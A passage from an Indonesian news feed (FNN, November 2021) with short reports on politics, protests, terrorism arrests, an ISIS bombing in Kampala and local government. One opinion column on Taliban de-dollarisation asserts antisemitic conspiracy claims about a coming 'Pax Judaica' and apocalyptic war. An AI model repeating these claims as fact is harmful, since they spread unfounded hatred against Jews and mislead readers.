Mulyani, dan Yenny Wahid. Penyebutan ketiga nama tokoh perempuan itu bukan tanpa alasan. Menurut Burhan, selain pertimbangan mewakili partai dan golongan, persoalan cawapres juga bergantung dari capres yang diajukan. "Kalau dari sisi pemilih, tentu Yenny Wahid dan Puan Maharani karena keduanya memiliki dukungan dan basis massa besar seperti NU dan PDI-P," kata alumnus Universitas Stanford dan Universitas Cornell, Amerika itu. Meskipun Yenny Wahid tidak pernah punya pengalaman sebagai pejabat dalam birokrasi pemerintahan, namun anak dari Gus Dur tersebut dikenal sebagai penganjur toleransi bagi bangsa. Apalagi, ia juga berpengalaman mendampingi Gus Dur sewaktu jadi Presiden. Kemudian, alasan penyebutan nama Sri Mulyani lantaran ada kemungkinan calon presiden mendatang adalah seorang teknokrat yang ingin memulihkan ekonomi. Untuk itu, Sri Mulyani menjadi sosok yang pas untuk mendampinginya. Sementara itu, Pakar Komunikasi Politik dari Universitas Paramadina Jakarta, Hendri Satrio mengatakan meskipun muncul beberapa nama tokoh perempuan yang berpotensi maju sebagai capres, namun elektabilasnya masih jauh di bawah capres laki-laki. Kendati demikian, ia tidak menampik elektabilatas capres perempuan dapat menyaingi capres laki-laki. Misalnya, Puan Maharani. Jika PDI-P yakin menang, maka partai tersebut akan berusaha sekuat tenaga menaikkan elektabilitasnya. (sws)

Menko Polhukam Ajak Masyarakat Indonesia Perbaiki Implementasi HAM

Jakarta, FNN - Menteri Koordinator Bidang Politik, Hukum, dan Keamanan Republik Indonesia Mahfud MD mengajak masyarakat Indonesia untuk bersama-sama dengan pemerintah memperbaiki implementasi prinsip-prinsip hak asasi manusia (HAM) dalam kehidupan sehari-hari. "Penerapan HAM masih menemui banyak masalah. Mari kita perbaiki bersama-sama karena kita harus memandang ke depan, tidak boleh terbelenggu dengan keberadaan seperti sekarang," kata Mahfud ketika memberi sambutan dalam pembukaan Festival Hak Asasi Manusia 2021 yang disiarkan di kanal YouTube Semarang Pemkot, dan dipantau dari Jakarta, Rabu. Adapun permasalahan yang acap kali menjadi tantangan bagi penerapan prinsip-prinsip HAM di Indonesia adalah intoleransi, pemaksaan kehendak, dan berbagai permasalahan yang disebabkan oleh perbedaan antara masyarakat yang satu dan lainnya. Perbedaan tersebut tidak terbatas pada perbedaan latar belakang berupa suku, agama, maupun ras, tetapi juga melingkupi perbedaan pendapat dan pandangan. Padahal, menurut Mahfud, keberagaman seharusnya menjadi kekayaan dan kekuatan bangsa Indonesia. "Bangsa ini harus bersatu dan saling menghargai pluralisme dalam berbangsa dan bernegara untuk bergerak bersama di dalam mencapai tujuan nasional," tuturnya. Selain membangun rasa toleransi dan saling menghargai, Mahfud juga mengatakan bahwa orientasi pembangunan harus mendorong pembangunan ekonomi yang inklusif, serta mengedepankan aspek-aspek yang berkelanjutan, seperti bidang pendidikan dan kesehatan yang inklusif. Dengan demikian, orientasi pembangunan Indonesia tidak hanya berorientasi pada pertumbuhan ekonomi semata. "Sebagai bentuk tanggung jawab pemerintah terhadap kelompok-kelompok rentan dan minoritas, seperti perempuan, penyandang disabilitas, dan masyarakat adat," ucap Mahfud. Menko Polhukam ini juga memaparkan beberapa aspek yang perlu mendapat perhatian penting, seperti aspek pengaturan emosi, aspek pengendalian dorongan, aspek optimisme, aspek analisis penyebab dan akibat, aspek empati, hingga aspek untuk mencapai hal-hal yang positif. Menurut dia, berbagai aspek tersebut harus mendapat perhatian penting dari pemerintah pusat, pemerintah daerah, lembaga swadaya masyarakat, serta seluruh komponen masyarakat lainnya untuk bersama-sama membangun ketahanan masyarakat dengan soliditas dan solidaritas sebagai elemen kunci. "Untuk beradaptasi dan mengatasi situasi yang sulit, seperti situasi di dalam mengatasi pandemi COVID-19 yang melanda seluruh dunia saat ini," ujarnya. Oleh karena itu, Mahfud merasa bahwa Festival HAM bertema Bergerak Bersama Memperkuat Kebhinekaan, Inklusi, dan Resiliensi merupakan tema yang relevan dan merepresentasikan optimisme masyarakat Indonesia dalam menghadapi tantangan yang melanda bangsa saat ini. (sws)

Puluhan Mahasiswa Unjuk Rasa ke Polres Aceh Barat

Meulaboh, FNN - Puluhan mahasiswa yang tergabung dalam Gerakan Masyarakat Peduli Anak (GEMPA) melakukan unjuk rasa ke Polres Aceh Barat untuk menuntut penyelesaian kasus dugaan pemerkosaan terhadap seorang anak di bawah umur di daerah ini. “Aksi unjuk rasa yang kami lakukan ini untuk mempertanyakan sejauhmana penanganan perkara pemerkosaan terhadap anak di bawah umur, termasuk penangkapan terhadap pelaku,” kata koordinator aksi Alfaraby, di Meulaboh, Rabu siang. Selain itu, dalam tuntutannya para mahasiswa juga mempertanyakan sejauhmana tindakan kepolisian di Aceh Barat terhadap oknum polwan yang diduga menghentakkan meja kepada korban pemerkosaan, sehingga menyebabkan korban ketakutan. Dalam aksi ini, kata Alfaraby, mereka juga mempertanyakan sejauhmana tindakan kepolisian kepada oknum polisi yang diduga meminta uang transportasi kepada ayah korban, saat melaporkan kasus tersebut di Mapolsek Arongan Lambalek, Aceh Barat. “Kami meminta pengusutan kasus tersebut dapat segera membuahkan hasil,” katanya. Dalam aksinya, mahasiswa juga mempertanyakan sejauhmana pengusutan terhadap aksi pemukulan yang dialami sejumlah mahasiswa oleh oknum Satpol PP Aceh Barat saat berlangsung aksi beberapa pekan lalu. Wakil Kepala Polres Aceh Barat Kompol Asa Putra yang ikut menerima aspirasi mahasiswa mengatakan, pihaknya saat ini telah menindaklanjuti semua aspirasi yang sudah disampaikan oleh kalangan mahasiswa. “Semua tuntutan adik-adik mahasiswa sudah kami tindaklanjuti sesuai dengan aturan yang berlaku,” kata Kompol Asa Putra. Dirinya meminta kepada mahasiswa agar bersabar, karena kepolisian tetap akan menuntaskan perkara tersebut sesuai dengan aturan yang berlaku. (mth)

BPIP dan Badan Kesbangpol Jateng Koordinasikan Implementasi Materi PIP

Jakarta, FNN - Badan Pembinaan Ideologi Pancasila (BPIP) bekerja sama dan berkoordinasi dengan Badan Kesatuan Bangsa dan Politik (Kesbangpol) Provinsi Jawa Tengah untuk mengimplementasikan materi pembinaan ideologi Pancasila (PIP) bagi pemerintah serta masyarakat setempat. “PIP pada dasarnya merupakan kegiatan dan/atau segala upaya yang dimaksud untuk melaksanakan, menanamkan, dan menjaga nilai-nilai Pancasila agar dapat tegak dan dapat diterapkan oleh seluruh elemen bangsa di segala bidang kehidupan berbangsa, bernegara dan bermasyarakat,” kata Aris berdasarkan keterangan tertulis yang diterima di Jakarta, Rabu. Kerja sama itu ditandai dengan pertemuan yang telah dilakukan di antara Direkur Kajian Materi Pembinaan Ideologi Pancasila (KMPIP) Aris Heru Utomo dan Kepala Badan Kesatuan Bangsa dan Politik (Kesbangpol) Pemerintah Provinsi Jawa Tengah Haerudin di Semarang, Selasa (16/11). Dalam pengimplementasian materi PIP, tambah Aris, Direktorat KMPIP telah menyiapkan materi pembinaan ideologi Pancasila sebagai wujud pelaksanaan tugas dan fungsi yang dimiliki Kedeputian Pengkajian Materi BPIP. “Untuk itu sesuai dengan tugas dan fungsi Kedeputian Pengkajian Materi BPIP, Direktorat KMPIP menyiapkan materi di hulu yang akan digunakan untuk melakukan pembinaan di hilir,” jelasnya. Aris juga mengatakan pembicaraan seputar PIP tidak hanya berkutat tentang pendidikan dan pelatihan, tetapi juga mencakup hal yang lebih luas, seperti yang dituangkan dalam definisi PIP. Dalam definisinya, disebutkan bahwa PIP adalah kegiatan untuk melaksanakan, menanamkan, dan menjaga nilai-nilai Pancasila di tengah pemerintah dan masyarakat Indonesia melalui berbagai metode mulai dari sosialisasi, pembudayaan, diskusi kelompok, hingga pengasuhan. Kemudian, Aris juga mengimbau Badan Kesbangpol Pemprov Jawa Tengah untuk bergotong royong melakukan beberapa kegiatan uji petik materi PIP yang sudah disiapkan oleh BPIP, seperti materi PIP untuk aparatur sipil negara (ASN) atau Kepala Daerah. Haerudin menyambut baik imbauan tersebut. Dia menyampaikan pihaknya siap bergotong royong melakukan PIP melalui uji petik materi dalam diksusi kelompok terpimpin atau focus group discussion. “Terdapat beberapa wilayah di Jawa Tengah yang dapat digunakan untuk uji petik materi PIP di tahun 2022 mendatang,” ujar Haerudin. Pertemuan itu diakhiri dengan ramah tamah dan peninjauan ke Kantor Badan Kesatuan Bangsa dan Politik Pemprov Jawa Tengah. (sws)

Presiden Biden Larang Pejabat Nikaragua Datang ke AS

Washington, FNN - Presiden Joe Biden pada Selasa (16/11) melarang anggota pemerintah Nikaragua datang ke Amerika Serikat saat dirinya menerbitkan dekret yang lebih luas dalam menanggapi pemilu yang dianggap Washington curang dan mendukung Presiden Nikaragua Daniel Ortega. Larangan perjalanan itu berlaku bagi seluruh "pejabat terpilih" Nikaragua, termasuk Ortega dan istri, Wakil Presiden Rosario Murillo, selain anggota pasukan keamanan, hakim, wali kota dan lainnya yang dinilai merusak demokrasi di negara Amerika Tengah itu. "Tindakan represif dan kejam dari pemerintah Ortega dan para pendukung memaksa Amerika Serikat untuk bereaksi," kata Biden dalam dekret tersebut. Perintah Biden muncul sehari setelah AS, Inggris, dan Kanada menjatuhkan sanksi yang menargetkan pejabat Nikaragua. Sanksi diberlakukan sebagai respons terhadap pemilu 7 November yang dianggap banyak negara memalukan. Sanksi diberikan setelah Ortega kembali terpilih untuk masa jabatan keempat berturut-turut setelah menjebloskan musuh politiknya dan menindak keras media yang bersikap kritis. Ortega memperolok para kritikus AS sebagai "imperialis Yankee" dan menuding mereka berupaya mengacaukan proses pemilu Nikaragua. Kuba, Venezuela dan Rusia mendukung Ortega. Larangan perjalanan dan sanksi sebelumnya terhadap pejabat Nikaragua tertent yang diberlakukan oleh Biden maupun pendahulunya, Donald Trump, gagal menjegal Ortega. Banyak analis yang merasa ragu apakah langkah baru itu akan memiliki dampak yang lebih besar. Organisasi Negara-negara Amerika (OAS) mengadopsi sebuah resolusi pada Jumat (12/11), yang berbunyi bahwa pemilihan Nikaragua tidak memiliki "keabsahan demokratik". Sebanyak 25 negara memberikan suara dukungannya dan tujuh negara, termasuk Meksiko, Honduras dan Bolivia, memilih abstain. (mth)

Massa Tuntut Presiden Burkina Faso Mundur

Ouagadougou, FNN - Ratusan pengunjuk rasa pada Selasa (16/11) turun ke jalanan ibu kota Burkina Faso untuk menuntut Presiden Roch Kabore mundur lantaran dinilai gagal mencegah militan yang berkeliaran di wilayah utara dan timur. Pekan lalu kelompok militan menewaskan 28 tentara dan empat warga sipil. Serangan pada Minggu (14/11) merupakan yang terparah yang dialami oleh pasukan selama pemberontakan empat tahun. Dalam kurun waktu itu, ribuan orang tewas dan lebih dari satu juta warga terpaksa meninggalkan rumah mereka. Serangan dua hari sebelumnya di daerah tersebut menewaskan tujuh polisi. "Kita mengirim saudara-saudara kita, anak-anak kita, paman-paman kita ke tempat pembantaian. Berapa banyak janda dan anak-anak yang berada di Burkina? Siapa yang akan merawatnya?" kata pengunjuk rasa bernama Hermann Tassembedo. Sekitar 300 orang melakukan aksi turun ke jalan di pusat kota Ouagadougou. Massa mendesak presiden Kabore untuk mundur dan menuntut supaya pasukan Prancis yang berpatroli di negara Afrika Barat itu angkat kaki. Banyak pihak yang menganggap pasukan Eropa di Burkina Faso dan negara-negara tetangga, Mali dan Niger, sebagai penangkal kilat terhadap serangan. Burkina Faso selama bertahun-tahun terhindar dari serangan ekstremis yang terlihat di seberang perbatasan di Mali. Mantan presiden Burkina Faso Blaise Compaore menjaga hubungan baik dengan para ekstremis di kawasan tersebut, namun ia dilengserkan dari jabatannya pada 2014 dan negara itu menjadi sasaran. Saat ini, mayoritas wilayah utara dan timur dikuasai oleh kelompok bersenjata. "Kami cuma meminta Kabore mundur," kata salah satu penyelenggara unjuk rasa, Mohamed Komsongo. "Ia telah memperlihatkan ketidakmampuannya sejak berkuasa. Ia gagal menjaga keamanan. Terlalu banyak menanggung korban meninggal." (mth)

Dedolarisasi, Tembakan Maut Taliban ke Amerika

Oleh: Anwar Hudijono SEJAK mengusir Amerika Serikat (AS) dan gengnya dari bumi Afghanistan medio Agustus 2021, Taliban terus melucuti Amerika Serikat. Yang paling gres adalah melarang penggunaan dolar AS untuk kegiatan transaksi di dalam negeri. Langkah Taliban ini ibarat pedang bermata dua. Mata pertama mengarah ke dalam yaitu benar-benar menghancurkan komprador (antek) Amerika yang paling banyak menyimpan dolar seperti para pejabat korup, buzzer, inteljen domestik. Mempersulit AS membantu kelompok-kelompok bughat (pembangkang) di Afghanistan yang melawan pemerintah Taliban. Termasuk ISIS-K dan gerombolan Ahmad Syah Masoed. Taliban tahu persis, pada dasarnya Amerika tidak pernah legawa atas kekalahannya. Pasti menyimpan dendam kesumat yang membara. Akan bekerja sama dengan pihak manapun yang melawan Taliban. Amerika punya prinsip, “musuh dari musuhku adalah kawanku”. Untuk itu, sangat mungkin ISIS-K yang semula musuh Amerika kini jadi sekutunya. Seperti dulu Taliban adalah sekutu Amerika melawan Uni Soviet di Afghanistan. Setelah Soviet hengkang, ganti Amerika memusuhi Taliban. Amerika selalu memainkan kartu dengan dua sisi yang gambarnya sama. Contoh lain, Presiden Irak Saddam Husein adalah sekutu kental Amerika untuk memerangi Iran selama 8 tahun. Setelah gagal, ganti Saddam yang dilibas. Sikap Amerika itu habis manis sepah dibuang. Lihat nasib Presiden Filipina Ferdinand Marcos. Nasib penguasa Iran Shah Reza Pahlevi. Begitu pula nasib Osama bin Laden. Benar kata Pemimpin Tertinggi Iran, Ali Khamenei bahwa Amerika itu tidak pernah mencari sahabat. Hanya mencari jongos untuk melayani kepentingan Amerika. Kesetiaan satu-satunya Amerika itu hanya kepada Israel. Tidak jelas mana yang juragan dan mana yang jongos. Seluruh Dunia Mata pedang Taliban kedua jelas mengarah ke jantung Amerika. Salah satu kekuatan utama Amerika adalam mata uang dolarnya. Dengan dolarnya, bisa mengendalikan seluruh dunia. Selama beberapa dekade, dolar AS sangat dominan dalam aktivitas perdagangan internasional. Sekitar 60 persen dari seluruh cadangan mata uang asing dunia dalam bentuk dolar AS. Bau dolar menyengat di seluruh permukaan bumi. Dolar bukan sekadar alat transaksi. Tapi bagi Amerika dolar juga merupakan alat politik untuk mencekeramkan imperialnya di seluruh dunia. Suttlement dolar dijadikan alat menindas negara lain. Kasus terakhir Venezeula yang terus melawan Amerika. Dolar melakukan tekanan sehingga nilai uang Venezeula terjun bebas. Harga sekotak tissu Rp 1,2 juta. Kayaknya Indonesia juga pernah mengalami pada masa akhir Presiden Soeharto 1997-1998 dan masa akhir Presiden Soekarno tahun 1965-1966. Sebenarnya dunia sudah mulai muak dengan dolar. Apalagi setelah Amerika menjadikan suttlement dolar untuk alat politik imperialnya. Dunia semakin mafhum bahwa dolar itu alat penipuan dahsyat. Bagaimana tidak, sebuah negara setor dalam bentuk emas tapi diganti dengan uang kertas dolar AS. Bagi pakar eskatologi Islam Syekh Imran Hosein, mata uang kertas telah menghancurkan sistem perekonomian dunia. Penuh ketidak-adilan. Begitu seenaknya membuat mata uang kertas negara lain kian hari kian merosot. Mata uang kertas telah menghancurkan mata uang dirham yang merupakan sunah Rasulullah. Muaknya dunia terhadap dolar sudah direalisasi dengan dedolarisasi alias menghilangkan peran dolar dalam transaksi bilateral negara. Misalnya, dalam transaksi perdagangan antara China dengan Rusia. Tahun 2015 dolar menyumbang 90 persen transaksi kedua negara. Pada tahun 2020 turun menjadi 50 persen saja. China dengan Jepang sudah membahas penggunaan mata uang negara masing-masing. Iran menetapkan pembayaran minyaknya kepada India dengan emas. Negara-negara yang tergabung dalam kelompok BRICs yaitu Brasil, Rusia, China, India, Afrika Selatan kini juga mempromosikan penggunaan mata uang nasional mereka sendiri dalam transaksi perdagangan satu sama lain. Demikian pula beberapa negara Asean seperti Indonesia, Malaysia, Thailand, Vietnam sudah menyepakati penggunaan mata uang masing-masing dalam perdagangan bilateral. Langkah ini mengarah untuk berlaku bagi sesama anggota Asean. Langkah dedolarisasi Taliban ibarat menuang minyak di sekam yang terbakar. Mempercepat dedolarisasi (hancurnya dolar) di seluruh dunia. Jika Afghanistan yang miskin, terseok-seok karena memikul beban timbunan masalah yang diwariskan Amerika berani melakukan dedolarisasi, mengapa negara yang lebih mapan tidak berani? Taliban menghujamkan pedangnya pada momentum yang tepat. Saat ini, ekonomi Amerika sedang limbung. Utangnya mencapai sekitar 28,4 triliun dolar AS atau setara Rp 404.000 triliun. Pengangguran yang membengkak. Mengalami defisit anggaran. Kemiskinan melonjak. Ketimpangan pendapat menajam. Sebanyak 1 persen penduduk menguasai aset ekonomi 99 persen penduduk. Jika AS hendak mengatasi masalah ekonominya dengan mencetak dolar pasti akan percuma jika dolarnya sudah tidak laku di pasar internasional. Selama ini dolar diburu untuk transaksi perdagangan internasional dan aktivitas lain. Menuju Pax Judaica Chris Hedges, veteran wartawan terkemuka AS mengatakan, hilangnya dolar sebagai mata uang cadangan global sangat mungkin akan menjadi tanda babak terakhir kekaisaran Amerika. Kalkulasinya begini, hilangnya dolar sebagai mata uang cadangan dunia akan langsung menaikkan biaya impor. Hal ini mengakibatkan pengangguran tingkat era depresi. Mau tidak mau imperium Amerika akan melakukan kontraksi secara dramatis. Ketika ekonomi memburuk, akan memicu hipernasionalisme yang akan diekspresikan melalui fasisme. Tanda-tanda itu sudah ada dengan semakin radikalnya kubu supremasi kulit putih Kristen. Penduduk yang murka akan dibelokkan kepada kambing hitam. Kemungkinan yang jadi kambing hitam China dan Rusia. Pada puncak frustrasi inilah Amerika bisa kalap seperti dulu ketika frustrasi karena markas militernya, Perl Harbour dihancurkan Jepang. Amerika membalas secara membabi buta dengan menjatuhkan nuklir di dua kota Jepang, Hirosima dan Nagasaki. Nah, apakah ini awal terjadinya malhamah? (Perang super besar yang belum pernah terjadi sebelumnya). Yang jelas mahlamah itu nubuwat akhir jaman. Syekh Imran Hosein melihat, kehancuran Amerika dalam skenario kubu Dajjal. Sang Tangan Kegelapan. Sebab, tidak akan terjadi Pax Judaica (Kekaisaran Yahudi) selama masih ada Pax Americana. Obesi Yakjuj dan Makjuj sebagai pengikut Dajjal adalah menguasai dunia dari Yerusalem. Tahap awal sudah tercapai dengan dukungan Presiden Trump menjadikan Yerusalem ibukota Israel. Tahap berikutnya menghancurkan Amerika dengan melumpuhkan dolar dan menggiring negara itu masuk di palagan malhamah. Bagaimana semua akan terjadi hanya Allah yang tahu. Rabbi a’lam. Hanya tampaknya Amerika memiliki tanda-tanda apa yang diperingatkan oleh Allah. “Dan jika Kami hendak membinasakan suatu negeri, maka Kami perintahkan kepada orang yang hidup mewah di negeri itu (agar mentaati Allah), tetapi bila mereka melakukan kedurhakaan di dalam (negeri) itu, maka sepantasnyalah berlaku terhadapnya perkataan (hukuman Kami), kemudian Kami binasakan sama sekali (negeri itu). (Quran: Al Isra 16). Rabbana atina min laundka rahmah wa hayyik lana min amrina rasyada ( Ya Tuhan kami, berikanlah rahmat kepada kamu dari sisi-Mu dan sempurnakanlah petunjuk yang lurus bagi kami dalam urusan kami.) Astaghfirullah. Rabbi a’lam. Anwar Hudijono, Veteran Wartawan tinggal di Sidoarjo

KPI Siaran Dengan Konten Berkualitas Juga Perlu Diviralkan

Jakarta, FNN - Komisioner Komisi Penyiaran Indonesia (KPI) Pusat bidang Kelembagaan, Hardly Stefano Pariela, mengatakan siaran dengan konten baik dan berkualitas juga perlu diviralkan, bukan cuma konten-konten negatif berbau sensasional. Dalam diskusi Gerakan Literasi Sejuta Pemirsa (GLSP) yang diselenggarakan KPI Pusat di kota Sorong, Papua Barat, Rabu, Hardly mengatakan salah satu cara agar masyarakat berdaya di hadapan media adalah mengapresiasi dan viralkan program siaran yang baik. "Kadang masyarakat lupa untuk menghargai konten yang bagus," kata Hardly dikutip dari webinar, Rabu, 17 November 2021. Viralnya program tontonan berkualitas akan berujung kepada penonton yang lebih banyak. Para pemasang iklan akan berminat dengan program yang ramai penonton, sehingga konten-konten serupa juga akan bertambah banyak. "Maka penting untuk mengapresiasi dan memviralkan yang baik-baik itu," kata Hardly, sebagaimana dikutip dari Antara. Laporan-laporan atas program siaran yang dianggap bermasalah dapat disampaikan kepada KPI, namun Hardly berpesan agar keluhan dan saran disampaikan dalam bahasa yang baik, bukan dalam bahasa yang kasar dan penuh caci maki. Hardly memaparkan, masyarakat diharap bisa menjadikan media sebagai alat meraih informasi yang bermanfaat bagi diri sendiri maupun lingkungan sekitar. Maka, penting juga untuk memperhatikan klasifikasi tayangan serta memilih tayangan yang bermanfaat. Mayoritas masyarakat Indonesia masih menonton televisi baik melalui siaran free to air (FTA) atau pun televisi berlangganan (Pay TV). Walau sebagian besar sudah mulai beralih menggunakan internet, televisi masih menjadi media yang menjadi sumber rujukan bagi masyarakat. Agenda migrasi siaran televisi digital pada 2 November 2022 akan menghadirkan saluran-saluran televisi yang semakin banyak dari jumlah yang ada sekarang. Perpindahan sistem dari analog ke digital merupakan cara meningkatkan kualitas pertelevisian Indonesia. Peralihan tersebut juga akan memberikan diversifikasi konten siaran yang akan semakin mendorong keberagaman konten dari industri penyiaran dalam negeri sehingga masyarakat akan mendapatkan konten beragam, sekaligus mendorong pertumbuhan industri penyiaran hingga ke daerah. Di sisi lain, perkembangan internet pun telah menghadirkan disrupsi informasi. “Setiap orang berkesempatan menjadi produsen informasi yang dapat diakses oleh jutaan penonton”, ujar Hardly. Dia memaparkan perbedaan antara media konvensional atau media lama dan media baru. Secara prinsip, media konvensional yang diwakili oleh televisi dan radio, hadir di masyarakat sebagai sebuah entitas bisnis yang terikat dengan regulasi serta tanggung jawab sosial. Hal yang berbeda dengan media baru, yang sampai saat ini belum memiliki regulasi konten yang tegas. Di satu sisi, media baru pun dikelola oleh masing-masing individu yang tidak punya kewajiban sosial di masyarakat. Maka, konten-konten yang sulit muncul di media konvensional bisa berkembang biak di media baru karena belum ada regulasi rinci mengenai konten di dalamnya. Kondisi inilah yang mengharuskan masyarakat untuk meningkatkan kapasitas literasi media, agar berdaya dan memiliki ketahanan informasi yang baik. Kapasitas literasi media yang dimaksud adalah kemampuan untuk mengakses, menganalisis, mengevaluasi serta mengomunikasikan informasi dalam berbagai bentuk media. Dengan demikian masyarakat tidak perlu tersesat dalam belantara informasi, juga tidak jatuh dalam jebakan hoax, ujaran kebencian, ajakan kekerasan, atau pun konten porno yang kerap kali hadir sebagai sebuah residu dari melimpahnya informasi. Harapannya, dengan kapasitas literasi yang baik, masyarakat mampu menjadikan media sebagai alat mendapatkan informasi yang bermanfaat baik untuk diri sendiri atau pun lingkungan sekitarnya. (MD).

ISIS Akui Serangan Bom di Ibu Kota Uganda

Kairo, FNN - Kelompok ISIS mengaku bertanggung jawab atas serangan mematikan di ibu kota Uganda, Kampala, pada Selasa (16/11), ungkap kantor berita Amaq milik kelompok tersebut di akun Telegram. Tiga serangan bom bunuh diri menewaskan tiga orang di pusat kota Kampala pada Selasa. Para anggota dewan dan orang-orang lainnya berlarian menyelamatkan diri saat sejumlah mobil terbakar. Menurut saksi dan polisi, sedikitnya tiga orang tewas dalam insiden terbaru pengeboman yang beberapa kali terjadi dalam sebulan terakhir itu. Sedikitnya 33 orang dirawat di Rumah Sakit Mulago, lima di antaranya berada dalam kondisi kritis, kata juru bicara kepolisian, Fred Enanga. (sws)

Densus Pastikan Akun Medsos Farid Okbah Dikelola Admin

Jakarta, FNN - Kepala Bagian Bantuan Operasi Detasemen Khusus (Densus) 88 Antiteror Polri Kombes Pol Aswin Siregar memastikan akun media sosial @faridokbah_official milik , tersangka tindak pidana terorisme dikelola oleh admin. Hal ini dikarenakan akun media sosial Instagram tersebut masih aktif menggunggah postingan dan status instastory pada hari penangkapan dan setelah penangkapan terjadi. "Akun @faridokbah_official milik Farid Ahmad Okbah dikelola oleh admin," kata Aswin saat dikonfirmasi di Jakarta, Rabu. Farid Ahmad Okbah, satu dari tiga orang yang diduga terlibat dengan serangkaian kegiatan jaringan teroris Jamaah Ismlamiyah (JI) ditangkap oleh Densus 88 Antiteror Polri di wilayah Bekasi, Selasa kemarin. Selain Farid, juga ada Ahmad Zain An-Nazah dan Anung Al Hamat. Kini ketiganya telah ditetapkan sebagai tersangka. Menurut Aswin, saat ini ketiganya masih menjalani pemeriksaan dan pendalaman terkait penangkapannya. Densus akan segera menyampaikan kepada publik terkait keterlibatan ketiga tersangka tersebut. "Untuk penjelasan lainnya nanti ada rilis. Kami sedang koordinasi dengan humas," kata Aswin. Pantauan ANTARA melalui akun Instagram @faridokbah_official, terdapat 15 unggahan di instastorynya yang diunggah dua jam yang lalu. Isi unggahan berisi pesan-pesan dakwah. Sehari sebelumnya, akun tersebut juga membagikan link berita terkait penangkapan Farid Okbah. Sebelumnya diberitakan, Tim Densus 88 Antiteror Polri menangkap tiga orang terkait kegiatan jaringan teroris JI di wilayah Bekasi. Yakni, Farid Ahmad Okbah, Ahmad Zain An-Nazah dan Anung Al Hamat. Kepala Bagian Penerangan Umum (Kabagpenum) Divisi Humas Polri Kombes Pol Ahmad Ramadhan menyebutkan, Farid Okbah membentuk Partai Dakwah Rakyat Indonesia (PDRI) sebagai wadah baru anggota JI usai sejumlah pimpinannya ditangkap. Farid Okbah ikut memberikan solusi kepada Arif Siswanto yang telah ditangkap terkait dengan pengamanan anggota JI pascapenangkapan Parawijayanto (Amir JI) dengan membuat wadah baru. "Hasil penelusuran Densus, FAO (Farid Ahmad Okbah) merupakan bagian dari tim sepuh atau Dewan Syuro organisasi JI," kata Ramadhan. Farid juga merupakan anggota dewan syariah Lembaga Amil Zakat Badan Mal Abdurrahman Bin Auf (LAZ BM ABA) atau yayasan amal yang didirikan untuk pendanaan JI. (sws)

Plt Gubernur Sulsel: Terima Kasih Irjen Pol Merdisyam

Makassar, FNN - Pelaksana Tugas Gubernur Sulawesi Selatan Andi Sudirman Sulaiman menyampaikan terima kasihnya kepada Irjen Pol Merdisyam yang saat menjabat Kapolda Sulsel telah bersinergi dengan Pemerintah Provinsi Sulsel dalam menjaga kondisi keamanan di daerah ini. "Atas nama Pemerintah Provinsi Sulsel bersama warga, kami mengucapkan terima kasih dan penghargaan yang setinggi-tingginya kepada Bapak Irjen Pol Merdisyam atas segala dedikasi, pengabdian, dan sinergitasnya," Andi Sudirman dalam keterangannya di Makassar, Rabu. Menurut dia, peran Irjen Pol Merdisyam sudah cukup besar dalam membantu Pemprov Sulsel dalam mengawal keamanan dan ketertiban wilayah, termasuk sudah cukup melebihi panggilan tugasnya sebagai Kapolda dalam membantu penanganan COVID-19. "Tentu kami bersama masyarakat Sulawesi Selatan mendoakan Bapak Irjen Pol Merdisyam tetap menjaga amanah, tetap menjaga pribadi yang santun di tempat yang baru, serta senantiasa mendapat perlindungan dari Allah Subhana Wa Ta'ala," harapnya. Sementara untuk pejabat baru Kapolda Sulsel, Irjen Pol Nana Sudjana, Plt Gubernur mengucapkan selama datang dan selamat bertugas di Sulawesi Selatan. "Harapan kita tentu Bapak Irjen Pol Nana Sudjana dapat menjalankan amanah dengan baik untuk menjaga kondisi keamanan di Sulsel tetap kondusif," tegasnya. Tidak hanya itu, Andi Sudirman juga meminta kepada Kapolda Sulsel yang baru untuk bisa membangun sinergitas dengan Pemprov Sulsel dan para Forum Komunikasi Pimpinan Daerah (Forkopimda) di Sulsel. Terutama di masa pandemi yang saat ini masih melanda negeri ini. (sws)

Wali Kota Kendari Minta RT/RW Punya Sensitifitas Terhadap Narkoba

Kendari, FNN - Wali Kota Kendari Sulkarnain Kadir meminta kepada seluruh pengurus RT/RW di 65 kelurahan agar memiliki sikap sensitifitas terhadap kondisi lingkungan terutama dari bahaya penyalahgunaan dan peredaran gelap narkoba. "Harus punya kewaspadaan dini, mengecek siapa yang masuk ke wilayahnya, harus melapor. Semuanya mamang normatif tetapi harus punya sensitifitas, kepekaan karena sebenarnya kita bisa deteksi kalau ada orang-orang yang mencurigakan," kata Sulkarnain di Kendari, Sulawesi Tenggara, Rabu. Menurut Wali Kota, jika RT/RW punya sikap sensitifitas maka bisa mencegah lebih dini dan melindungi masyarakat utamanya generasi bangsa dari bahaya narkoba dan obat-obat terlarang lainnya. Dia menjelaskan, jika menemukan adanya aktivitas yang mencurigakan dari warganya apalagi pendatang maka dia meminta agar segera melakukan koordinasi kepada aparat penegak hukum baik BNN ataupun pihak kepolisian. "Kalau ada aktivitas yang tidak wajar ada perilaku-perilaku warganya atau pendatang yang masuk di wilayahnya yang patut diwaspadai, lakukan koordinasi. Segera limpahkan ke penegak hukum atau kepada pihak-pihak yang berwenang supaya ini bisa dideteksi lebih dini," ujar Sulkarnain. Dia berharap kepada seluruh RT/RW termasuk tokoh pemuda, dan tokoh masyarakat serta elemen masyarakat lainnya di 65 kelurahan yang terbagi di 11 kecamatan agar bersinergi melindungi lingkungannya dari intaian obat-obat terlarang termasuk paham-paham yang dapat merusak bangsa seperti terorisme dan radikalisme. "Perang terhadap narkoba ini harus menjadi perhatian kita semua tidak terkecuali siapapun. Tentu tidak hanya terkait narkoba tetapi terorisme dan sebagainya," demikian Wali Kota Kendari, Sulkarnain Kadir. (sws)

Polda Sumsel Gelar Operasi Zebra Musi Tegakkan Disiplin Lantas dan Prokes

